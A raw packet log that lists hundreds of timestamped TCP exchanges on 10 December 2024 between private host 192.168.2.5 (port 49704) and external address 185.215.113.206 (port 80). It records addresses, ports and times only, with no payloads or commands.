Dec 10, 2024 02:50:05.588308096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.588372946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.591972113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.592034101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.592068911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.592149019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.595750093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.595868111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.622811079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.622912884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.622936964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.622980118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.624680996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.624758005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.624766111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.624814987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.627614975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.627681017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.627712011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.627805948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.631367922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.631433010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.631452084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.631505013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.634313107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.634407043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.634419918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.634474039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.637979984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.638077021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.638099909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.638156891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.681755066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.681859970 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.681905031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.681905031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.683252096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.683334112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.683844090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.683928013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.683953047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.684021950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.686981916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.687056065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.687056065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.687155962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.689404964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.689482927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.689677954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.689728975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.692473888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.692584038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.692588091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.692637920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.695153952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.695234060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.695326090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.695365906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.697840929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.697921991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.697938919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.697983980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.700473070 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.700536966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.700581074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.700634956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.703119993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.703176975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.703211069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.703289032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.705688000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.705744028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.705817938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.705881119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.708188057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.708240032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.708318949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.708372116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.710764885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.710822105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.710911036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.710954905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.713181019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.713251114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.713318110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.713365078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.715492010 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.715558052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.715591908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.715636969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.717809916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.717853069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.717907906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.717953920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.720091105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.720150948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.720220089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.720282078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.722366095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.722409010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.722440004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.722538948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.741274118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.741358995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.741461992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.741528034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.742404938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.742465019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.742506981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.742556095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.744683981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.744745970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.744791985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.744843960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.746952057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.747052908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.747055054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.747100115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.749233961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.749286890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.749346018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.749401093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.751456976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.751508951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.751543045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.751600027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.753573895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.753626108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.753676891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.753731012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.755640030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.755719900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.755721092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.755793095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.757679939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.757740974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.757781982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.757852077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.759708881 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.759809971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.759840965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.759910107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.761739016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.761790991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.761919975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.761987925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.763744116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.763792038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.763830900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.763895035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.765718937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.765780926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.765815020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.765898943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.767744064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.767798901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.767894983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.767954111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.769737959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.769797087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.769835949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.769898891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.771749973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.771815062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.771848917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.771949053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.773730040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.773785114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.773855925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.773909092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.775741100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.775819063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.775852919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.775918007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.777745008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.777847052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.777854919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.777901888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.779737949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.779784918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.779834986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.779900074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.781734943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.781815052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.781826973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.781902075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.814912081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.814999104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.815016031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.815067053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.815886974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.815974951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.816008091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.816060066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.817886114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.817925930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.818010092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.818059921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.819878101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.819922924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.819966078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.820014000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.821877956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.821952105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.822002888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.822051048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.823931932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.823980093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.824054003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.824120045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.825887918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.825942039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.825989008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.826097012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.827912092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.827976942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.827982903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.828020096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.829878092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.829958916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.829986095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.830038071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.831885099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.831938982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.831984997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.832065105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.833884954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.833931923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.833966970 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.834173918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.873760939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.873830080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.873884916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.873923063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.874547958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.874620914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.874852896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.874901056 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.874938965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.875014067 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.876477957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.876523018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.876569986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.876632929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.878078938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.878130913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.878218889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.878278017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.879669905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.879723072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.879812956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.879864931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.881239891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.881292105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.881380081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.881433964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.882829905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.882882118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.882920027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.882960081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.884354115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.884403944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.884469032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.884531975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.885859966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.885921001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.885955095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.886010885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.887387037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.887485027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.887499094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.887547970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.888880014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.888972998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.889003038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.889420033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.890341997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.890403986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.890434980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.890480042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.891774893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.891859055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.891891956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.891935110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.893215895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.893270016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.893313885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.893402100 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.894664049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.894723892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.894764900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.894828081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.896039963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.896095991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.896157026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.896236897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.897445917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.897517920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.897557020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.897608042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.898812056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.898859024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.898899078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.898957968 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.900160074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.900240898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.900271893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.900351048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.901483059 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.901618004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.901639938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.901829958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.902780056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.902847052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.943582058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.943660975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.943691015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.943871021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.943928957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.943981886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.944046974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.944125891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.945158958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.945210934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.945240974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.945285082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.946352959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.946427107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.946453094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.946497917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.947535038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.947593927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.947735071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.947782993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.948735952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.948803902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.948846102 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.948915958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.949914932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.949969053 CET	49704	80	192.168.2.5	185.215.113.206
